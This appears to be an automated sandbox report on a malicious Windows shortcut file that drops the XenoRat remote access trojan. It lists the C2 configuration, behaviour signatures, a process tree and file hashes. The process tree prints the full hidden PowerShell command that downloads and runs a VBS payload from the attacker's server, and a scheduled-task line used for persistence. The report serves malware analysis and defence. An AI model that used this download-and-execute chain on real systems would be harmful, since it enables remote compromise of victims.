Analysis

  • max time kernel
    140s
  • max time network
    142s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    10/12/2024, 03:44

General

  • Target
    ea254e085f81b5d580391f4fab6ce4c462cd66485e7ef42a49f9f12ab158a362.lnk
  • Size 2KB
  • Sample241210-eax4kaxpgk
  • SHA256 ea254e085f81b5d580391f4fab6ce4c462cd66485e7ef42a49f9f12ab158a362
  • MD5 SHA1 SHA512

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    https://www.stipamana.com/vbsznjgzfzgolnzdgh/tydthcgfhjdfhsfghxffsjhx/vbfdhydjyfjfxhgjhxgh/pafdfgzdf.vbs

Extracted

Family
  • xenorat

C2
  • dns.stipamana.com

Mutex
  • Xeno_rat_nd8912d

Attributes
  • delay

    12000

  • install_path

    appdata

  • port

    4567

  • startup_name

    mrec

Signatures

  • Detect XenoRat Payload 1 IoCs
  • XenorRat

    XenorRat is a remote access trojan written in C#.

  • Xenorat family
  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Downloads MZ/PE file
  • Office macro that triggers on suspicious action 1 IoCs

    Office document macro which triggers in special circumstances - often malicious.

  • Suspicious Office macro 1 IoCs

    Office document equipped with macros.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 8 IoCs
  • Suspicious use of SetThreadContext 6 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 9 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 61 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\ea254e085f81b5d580391f4fab6ce4c462cd66485e7ef42a49f9f12ab158a362.lnk
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4904
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass jqbinrdfgfdhozhdfboopntjfmdjtgfd -WindowStyle -Command hiddeN consent.exe;(new-object System.Net.WebClient).DownloadFile('https://www.stipamana.com/vbsznjgzfzgolnzdgh/tydthcgfhjdfhsfghxffsjhx/vbfdhydjyfjfxhgjhxgh/pafdfgzdf.vbs','pafdfgz.vbs');./'pafdfgz.vbs';(get-item 'pafdfgz.vbs').Attributes += 'Hidden';
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3500
      • C:\Windows\System32\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\pafdfgz.vbs"
        3⤵
        • Blocklisted process makes network request
        PID:2064
  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /Automation -Embedding
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3900
    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\KKSTV.exe
      "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\KKSTV.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of SetThreadContext
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4588
      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\KKSTV.exe
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\KKSTV.exe
        3⤵
        • Checks computer location settings
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1952
        • C:\Users\Admin\AppData\Roaming\UpdateManager\KKSTV.exe
          "C:\Users\Admin\AppData\Roaming\UpdateManager\KKSTV.exe"
          4⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • System Location Discovery: System Language Discovery
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:3408
          • C:\Users\Admin\AppData\Roaming\UpdateManager\KKSTV.exe
            C:\Users\Admin\AppData\Roaming\UpdateManager\KKSTV.exe
            5⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            PID:1980
          • C:\Users\Admin\AppData\Roaming\UpdateManager\KKSTV.exe
            C:\Users\Admin\AppData\Roaming\UpdateManager\KKSTV.exe
            5⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            PID:4336
          • C:\Users\Admin\AppData\Roaming\UpdateManager\KKSTV.exe
            C:\Users\Admin\AppData\Roaming\UpdateManager\KKSTV.exe
            5⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            PID:3660
      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\KKSTV.exe
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\KKSTV.exe
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4480
        • C:\Windows\SysWOW64\schtasks.exe
          "schtasks.exe" /Create /TN "mrec" /XML "C:\Users\Admin\AppData\Local\Temp\tmpB9BB.tmp" /F
          4⤵
          • System Location Discovery: System Language Discovery
          • Scheduled Task/Job: Scheduled Task
          PID:1528
      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\KKSTV.exe
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\KKSTV.exe
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        PID:4380

Network

        MITRE ATT&CK Enterprise v15

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        Downloads

        KKSTV.exe.log

        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\KKSTV.exe.log
        • Size 706B
        • SHA256 0407c814aef0d62aec7fd39b7c2f614746f0d8ff41f8ef957736f520f14b0339
        • MD5 SHA1 SHA512

        iso690.xsl

        • Path C:\Users\Admin\AppData\Local\Temp\TCDBB50.tmp\iso690.xsl
        • Size 263KB
        • SHA256 3f925e0cc1542f09de1f99060899eafb0042bb9682507c907173c392115a44b5
        • MD5 SHA1 SHA512 SSDEEP

        __PSScriptPolicyTest_5gg1kuft.ll4.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5gg1kuft.ll4.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512

        pafdfgz.vbs

        • Path C:\Users\Admin\AppData\Local\Temp\pafdfgz.vbs
        • Size 10KB
        • SHA256 87334eb3f39cffdfeed453f67a7c338fe378b75c49946451ca1a0e4e151bba00
        • MD5 SHA1 SHA512 SSDEEP

        tmpB9BB.tmp

        • Path C:\Users\Admin\AppData\Local\Temp\tmpB9BB.tmp
        • Size 1KB
        • SHA256 06483d2faa061e06693dba1bb7f645fee992f94ffb713e6ebf30ae50ab288b5c
        • MD5 SHA1 SHA512

        ¸¸.doc

        • Path C:\Users\Admin\AppData\Local\Temp\¸¸.doc
        • Size 195KB
        • SHA256 3106e90067456404a9f3e768ce3b60de6ae91fa2be664255ad6fe86c3f87e67d
        • MD5 SHA1 SHA512 SSDEEP

        KKSTV.exe

        • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\KKSTV.exe
        • Size 173KB
        • SHA256 639135eb69333aba7ecb762072d8bef1d2db83e54edbe627dd223039142b8c91
        • MD5 SHA1 SHA512 SSDEEP

        memory/1952-104-0x0000000000400000-0x0000000000412000-memory.dmp

        memory/3408-123-0x0000000002090000-0x00000000020C4000-memory.dmp

        memory/3500-13-0x00007FFC61BE0000-0x00007FFC626A1000-memory.dmp

        memory/3500-22-0x00007FFC61BE0000-0x00007FFC626A1000-memory.dmp

        memory/3500-21-0x00000193F6690000-0x00000193F68AC000-memory.dmp

        memory/3500-14-0x00007FFC61BE0000-0x00007FFC626A1000-memory.dmp

        memory/3500-12-0x00000193F6B80000-0x00000193F6BA2000-memory.dmp

        memory/3500-2-0x00007FFC61BE3000-0x00007FFC61BE5000-memory.dmp

        memory/3900-30-0x00007FFC3D8E0000-0x00007FFC3D8F0000-memory.dmp

        memory/3900-24-0x00007FFC3FC90000-0x00007FFC3FCA0000-memory.dmp

        memory/3900-28-0x00007FFC3FC90000-0x00007FFC3FCA0000-memory.dmp

        memory/3900-27-0x00007FFC3FC90000-0x00007FFC3FCA0000-memory.dmp

        memory/3900-29-0x00007FFC3D8E0000-0x00007FFC3D8F0000-memory.dmp

        memory/3900-26-0x00007FFC3FC90000-0x00007FFC3FCA0000-memory.dmp

        memory/3900-25-0x00007FFC3FC90000-0x00007FFC3FCA0000-memory.dmp

        memory/4588-99-0x0000000000870000-0x00000000008A4000-memory.dmp

        memory/4588-103-0x00000000043C0000-0x00000000043C6000-memory.dmp

        memory/4588-102-0x0000000006F00000-0x0000000006F92000-memory.dmp

        memory/4588-101-0x0000000007410000-0x00000000079B4000-memory.dmp

        memory/4588-100-0x0000000004920000-0x00000000049BC000-memory.dmp

        memory/4588-98-0x0000000000840000-0x0000000000846000-memory.dmp

        memory/4588-97-0x0000000000050000-0x0000000000080000-memory.dmp